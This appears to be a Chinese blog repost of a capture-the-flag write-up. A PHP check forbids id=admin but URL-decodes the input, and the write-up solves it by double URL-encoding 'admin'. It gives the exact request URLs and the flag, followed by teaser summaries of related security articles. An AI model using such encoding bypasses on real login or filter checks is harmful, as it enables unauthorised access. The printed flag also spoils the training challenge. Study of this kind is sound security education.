摘要：源代码要求传入变量的值，不能直接等于要求经过解码后等于再输出。
先查看题目地址：
希望我们获得这个网站的权限，查看源代码也没有其他信息：
查看index页面：
之后尝试查看index.phps文件（.phps文件就是php的源代码文件，通常用于提供给访问者查看php代码）：
phps文件就是php的源代码文件，通常用于提供给用户（访问者）查看php代码，因为用户无法直接通过Web浏览器看到php文件的内容，所以需要用phps文件代替。其实，只要不用php等已经在服> 务器中注册过的MIME类型为文件即可，但为了国际通用，所以才用了phps文件类型。 它的MIME类型为：text/html, application/x-httpd-php-source, application/x-httpd-php3-source。
源代码：
if("admin"===$_GET[id]) { echo("not allowed!
"); exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "admin"){ echo "Access granted!
"; echo "Key: xxxxxxx
";}?>Can you anthenticate to this website?要求传入变量id的值，不能直接等于admin：
http://111.200.241.244:63169/index.php?id=admin要求经过$_GET[id] = urldecode($_GET[id])URL解码后等于admin再输出Key。
admin进行一次url编码后的值：
因为浏览器会对URL编码后的数据进行一次URL解码，所以我们将admin进行两次url编码得到，才能让$_GET[id]得到admin进行一次url编码后的值%61%64%6d%69%6e：
访问http://111.200.241.244:63169/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65：
或者http://111.200.241.244:63169/index.php?id=%2561%2564%256d%2569%256e：
得到flag：cyberpeace{bb726b10bab311dbabcd7af5a352f1c9}
文章版权归作者所有，未经允许请勿转载,若此文章存在违规行为，您可以联系管理员删除。
转载请注明本文地址：https://www.ucloud.cn/yun/124009.html
摘要：程序的主要逻辑是这个判断中的三个条件，成立就会包含输入的文件代码，否则就输出那张滑稽图片。如果最后仍未找到文件则结构会发出一条。例如一个文件以开头，则解析器会在当前目录的父目录下寻找该文件。 ...
摘要：直接用抓包然后发送到测试器设置有效载荷开始攻击，等待结束之后，发现的请求返回的报文长度跟其他的不一样得到 题目提示： 打开题目地址： 是一个工控云管理系统， 左...
摘要：变量预定义的变量用于收集来自的表单中的值。从带有方法的表单发送的信息对任何人都是可见的会显示在浏览器的地址栏并且对发送信息的量也有限制。函数搜索字符串在另一字符串中是否存在如果是返回该字符串及剩余部分否则返回。 ...
摘要：进攻即是最好的防御个练习黑客技术的在线网站进攻即是最好的防御，这句话同样适用于信息安全的世界。社区有接近万的注册会员也是最大的一个黑客社区之一。 进攻即是最好的防御！19个练习黑客技术的在线网站 进攻即是最好的防御，这句话同样适用于信息安全的世界。这里罗列了19个合法的来练习黑客技术的网站，不管你是一名开发人员、安全工程师、代码审计师、渗透测试人员，通过不断的练习才能让你成为一个优秀安...
摘要：年月日，在国庆节到来之前的周日，我们开展了战队的第二次会议，在第一次到第二次会议开展之间，又有几个小伙伴加入了我们。第二次会议，仍然是在网络中心的会议室内召开，不过与会的人员除了第一次的几位小伙伴，还有一些新加入的成员。 2021年9月26日，在国庆节到来之前的周日，我们开展...
阅读 631·2021-11-22 09:34
阅读 1211·2021-11-18 10:02
阅读 1023·2021-11-12 10:35
阅读 1428·2021-09-04 16:40
阅读 3049·2021-09-01 10:48
阅读 631·2019-08-30 15:55
阅读 1668·2019-08-30 15:55
阅读 1258·2019-08-30 13:05
